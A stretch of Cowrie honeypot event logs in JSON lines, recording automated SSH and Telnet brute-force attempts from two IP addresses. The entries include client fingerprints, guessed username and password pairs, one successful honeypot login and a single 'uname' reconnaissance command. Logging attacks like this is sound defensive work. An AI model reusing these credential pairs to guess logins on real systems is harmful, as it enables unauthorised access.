{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:52.103530Z","src_ip":"176.65.132.129","session":"f02e4c573469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51174,"dst_ip":"159.203.135.109","dst_port":22,"session":"80fedf85bc42","protocol":"ssh","message":"New connection: 176.65.132.129:51174 (159.203.135.109:22) [session: 80fedf85bc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:54.077071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:54.081779Z","src_ip":"176.65.132.129","session":"80fedf85bc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:54.163512Z","src_ip":"176.65.132.129","session":"80fedf85bc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:54.410388Z","src_ip":"176.65.132.129","session":"80fedf85bc42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:55.494749Z","src_ip":"176.65.132.129","session":"80fedf85bc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36372,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d8433c4ada5","protocol":"ssh","message":"New connection: 176.65.132.129:36372 (159.203.135.109:22) [session: 6d8433c4ada5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:57.523693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:57.528059Z","src_ip":"176.65.132.129","session":"6d8433c4ada5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:57.609920Z","src_ip":"176.65.132.129","session":"6d8433c4ada5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:57.854779Z","src_ip":"176.65.132.129","session":"6d8433c4ada5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.20842623710632,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:58.710399Z","src_ip":"45.58.127.90","session":"ef585f230938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:58.938577Z","src_ip":"176.65.132.129","session":"6d8433c4ada5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39126,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb705c4fa27","protocol":"telnet","message":"New connection: 45.58.127.90:39126 (10.17.0.5:23) [session: bcb705c4fa27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:00.191184Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36386,"dst_ip":"159.203.135.109","dst_port":22,"session":"612cc64ed70d","protocol":"ssh","message":"New connection: 176.65.132.129:36386 (159.203.135.109:22) [session: 612cc64ed70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:00.837418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:00.841914Z","src_ip":"176.65.132.129","session":"612cc64ed70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:00.924562Z","src_ip":"176.65.132.129","session":"612cc64ed70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:01.174556Z","src_ip":"176.65.132.129","session":"612cc64ed70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.53990936279297,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:01.954313Z","src_ip":"45.58.127.90","session":"68bfdc4b9895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39130,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9553078bd1","protocol":"telnet","message":"New connection: 45.58.127.90:39130 (10.17.0.5:23) [session: 4c9553078bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:02.214161Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:02.260920Z","src_ip":"176.65.132.129","session":"612cc64ed70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36396,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd8b5f8e9ee9","protocol":"ssh","message":"New connection: 176.65.132.129:36396 (159.203.135.109:22) [session: dd8b5f8e9ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:04.170937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:04.175661Z","src_ip":"176.65.132.129","session":"dd8b5f8e9ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:04.258263Z","src_ip":"176.65.132.129","session":"dd8b5f8e9ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:04.689991Z","src_ip":"176.65.132.129","session":"dd8b5f8e9ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:05.776113Z","src_ip":"176.65.132.129","session":"dd8b5f8e9ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39368,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb719208aed1","protocol":"ssh","message":"New connection: 176.65.132.129:39368 (159.203.135.109:22) [session: fb719208aed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:07.723229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:07.728099Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:07.810187Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:08.057731Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:08.279419Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:08.282522Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:08.366756Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:08.371413Z","src_ip":"176.65.132.129","session":"fb719208aed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f732e1df58","protocol":"telnet","message":"New connection: 45.58.127.90:54850 (10.17.0.5:23) [session: 04f732e1df58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:09.748770Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54866,"dst_ip":"10.17.0.5","dst_port":23,"session":"d51cbf073466","protocol":"telnet","message":"New connection: 45.58.127.90:54866 (10.17.0.5:23) [session: d51cbf073466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:09.845476Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39390,"dst_ip":"159.203.135.109","dst_port":22,"session":"501c94179042","protocol":"ssh","message":"New connection: 176.65.132.129:39390 (159.203.135.109:22) [session: 501c94179042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:11.122909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:11.127505Z","src_ip":"176.65.132.129","session":"501c94179042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:11.209495Z","src_ip":"176.65.132.129","session":"501c94179042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:11.455065Z","src_ip":"176.65.132.129","session":"501c94179042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:12.649791Z","src_ip":"176.65.132.129","session":"501c94179042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"a45504ec0921","protocol":"ssh","message":"New connection: 176.65.132.129:39410 (159.203.135.109:22) [session: a45504ec0921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:14.474109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:14.478469Z","src_ip":"176.65.132.129","session":"a45504ec0921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:14.561892Z","src_ip":"176.65.132.129","session":"a45504ec0921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:14.817420Z","src_ip":"176.65.132.129","session":"a45504ec0921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:15.904722Z","src_ip":"176.65.132.129","session":"a45504ec0921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56478,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a09d93cde04","protocol":"ssh","message":"New connection: 176.65.132.129:56478 (159.203.135.109:22) [session: 1a09d93cde04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:17.912370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:17.917778Z","src_ip":"176.65.132.129","session":"1a09d93cde04","protocol":"ssh"}
